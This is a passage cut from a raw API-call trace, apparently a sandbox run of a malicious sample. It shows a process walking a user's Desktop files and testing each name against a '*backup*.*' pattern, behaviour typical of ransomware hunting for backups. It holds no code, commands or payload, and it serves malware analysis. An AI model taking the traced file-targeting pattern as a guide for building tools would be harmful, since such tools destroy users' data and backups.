lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", cchWideChar=54, lpMultiByteStr=0x32baf60, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", lpUsedDefaultChar=0x0) returned 54 [0146.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340b60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.784] PathMatchSpecW (pszFile="DEIQ6AJHyGUlXgnxWJ.avi", pszSpec="*backup*.*") returned 0 [0146.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0146.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e40, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.784] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*backup*.*") returned 0 [0146.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", cchWideChar=44, lpMultiByteStr=0x33400d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", lpUsedDefaultChar=0x0) returned 44 [0146.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.785] PathMatchSpecW (pszFile="dw5n s d.swf", pszSpec="*backup*.*") returned 0 [0146.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", cchWideChar=54, lpMultiByteStr=0x32bac20, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", lpUsedDefaultChar=0x0) returned 54 [0146.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.785] PathMatchSpecW (pszFile="Ett5QjnXB4TVvQ5gQv.xls", pszSpec="*backup*.*") returned 0 [0146.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0146.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", cchWideChar=46, lpMultiByteStr=0x33400d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", lpUsedDefaultChar=0x0) returned 46 [0146.785] PathMatchSpecW (pszFile="F3Jg6iOM3u.avi", pszSpec="*backup*.*") returned 0 [0146.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0146.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", cchWideChar=53, lpMultiByteStr=0x32bac20, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", lpUsedDefaultChar=0x0) returned 53 [0146.786] PathMatchSpecW (pszFile="FPDreaGbTfCfnUb6R.odt", pszSpec="*backup*.*") returned 0 [0146.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", cchWideChar=51, lpMultiByteStr=0x32bab20, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", lpUsedDefaultChar=0x0) returned 51 [0146.786] PathMatchSpecW (pszFile="gKYuSUka3xSoq c.swf", pszSpec="*backup*.*") returned 0 [0146.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", cchWideChar=44, lpMultiByteStr=0x33400d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", lpUsedDefaultChar=0x0) returned 44 [0146.786] PathMatchSpecW (pszFile="h5qh6eqm.pdf", pszSpec="*backup*.*") returned 0 [0146.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0146.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", cchWideChar=65, lpMultiByteStr=0x32bb1f8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", lpUsedDefaultChar=0x0) returned 65 [0146.786] PathMatchSpecW (pszFile="4W5ZA5pn.mkv", pszSpec="*backup*.*") returned 0 [0146.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0146.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", cchWideChar=66, lpMultiByteStr=0x32bb4c8, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", lpUsedDefaultChar=0x0) returned 66 [0146.786] PathMatchSpecW (pszFile="Gt0E_1l d.mkv", pszSpec="*backup*.*") returned 0 [0146.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0146.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", cchWideChar=73, lpMultiByteStr=0x2362bf8, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", lpUsedDefaultChar=0x0) returned 73 [0146.787] PathMatchSpecW (pszFile="gxCLkfF5FMxOhrIJ.odp", pszSpec="*backup*.*") returned 0 [0146.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0146.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", cchWideChar=77, lpMultiByteStr=0x2362d00, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", lpUsedDefaultChar=0x0) returned 77 [0146.787] PathMatchSpecW (pszFile="oI9YDYidz9W1RvrQSv58.bmp", pszSpec="*backup*.*") returned 0 [0146.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", cchWideChar=74, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 74 [0146.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", cchWideChar=74, lpMultiByteStr=0x2362e08, cbMultiByte=74, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", lpUsedDefaultChar=0x0) returned 74 [0146.787] PathMatchSpecW (pszFile="rREFgeGQqPivNXTKc.odp", pszSpec="*backup*.*") returned 0 [0146.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0146.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", cchWideChar=62, lpMultiByteStr=0x32ba3d8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", lpUsedDefaultChar=0x0) returned 62 [0146.787] PathMatchSpecW (pszFile="VFIt1.png", pszSpec="*backup*.*") returned 0 [0146.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", cchWideChar=70, lpMultiByteStr=0x32bb8d8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", lpUsedDefaultChar=0x0) returned 70 [0146.788] PathMatchSpecW (pszFile="xmyz7bDpg-Yp_.avi", pszSpec="*backup*.*") returned 0 [0146.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", cchWideChar=52, lpMultiByteStr=0x32bb060, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpUsedDefaultChar=0x0) returned 52 [0146.788] PathMatchSpecW (pszFile="Hf4qcXfqlQUQtaJUeRB3", pszSpec="*backup*.*") returned 0 [0146.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0146.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", cchWideChar=42, lpMultiByteStr=0x33400d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", lpUsedDefaultChar=0x0) returned 42 [0146.788] PathMatchSpecW (pszFile="HpDI0J.flv", pszSpec="*backup*.*") returned 0 [0146.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0146.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", cchWideChar=55, lpMultiByteStr=0x32baa60, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", lpUsedDefaultChar=0x0) returned 55 [0146.788] PathMatchSpecW (pszFile="IfzBpGV_K 2s4OumEYx.bmp", pszSpec="*backup*.*") returned 0 [0146.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", cchWideChar=54, lpMultiByteStr=0x32bab60, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", lpUsedDefaultChar=0x0) returned 54 [0146.788] PathMatchSpecW (pszFile="itQ3y7 _7jtUy-n5Tj.wav", pszSpec="*backup*.*") returned 0 [0146.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", lpUsedDefaultChar=0x0) returned 45 [0146.789] PathMatchSpecW (pszFile="kftoKnOna.m4a", pszSpec="*backup*.*") returned 0 [0146.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", lpUsedDefaultChar=0x0) returned 45 [0146.789] PathMatchSpecW (pszFile="KrqEI2ID-.bmp", pszSpec="*backup*.*") returned 0 [0146.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", lpUsedDefaultChar=0x0) returned 43 [0146.789] PathMatchSpecW (pszFile="M8FP6UY.png", pszSpec="*backup*.*") returned 0 [0146.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", lpUsedDefaultChar=0x0) returned 45 [0146.789] PathMatchSpecW (pszFile="MApTBDPnV.mkv", pszSpec="*backup*.*") returned 0 [0146.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", cchWideChar=54, lpMultiByteStr=0x32baa60, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", lpUsedDefaultChar=0x0) returned 54 [0146.789] PathMatchSpecW (pszFile="op27XFjVBcQnQEISZr.avi", pszSpec="*backup*.*") returned 0 [0146.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0146.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", cchWideChar=42, lpMultiByteStr=0x33400d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", lpUsedDefaultChar=0x0) returned 42 [0146.790] PathMatchSpecW (pszFile="rJjrMg.mp4", pszSpec="*backup*.*") returned 0 [0146.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", cchWideChar=52, lpMultiByteStr=0x32bb0a0, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", lpUsedDefaultChar=0x0) returned 52 [0146.790] PathMatchSpecW (pszFile="rnniEqI3o7y6BUr8.png", pszSpec="*backup*.*") returned 0 [0146.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", cchWideChar=41, lpMultiByteStr=0x33400d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", lpUsedDefaultChar=0x0) returned 41 [0146.790] PathMatchSpecW (pszFile="sAj8v.m4a", pszSpec="*backup*.*") returned 0 [0146.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", cchWideChar=52, lpMultiByteStr=0x32bae60, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", lpUsedDefaultChar=0x0) returned 52 [0146.790] PathMatchSpecW (pszFile="SfNWHleaQqk8JGe.pptx", pszSpec="*backup*.*") returned 0 [0146.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 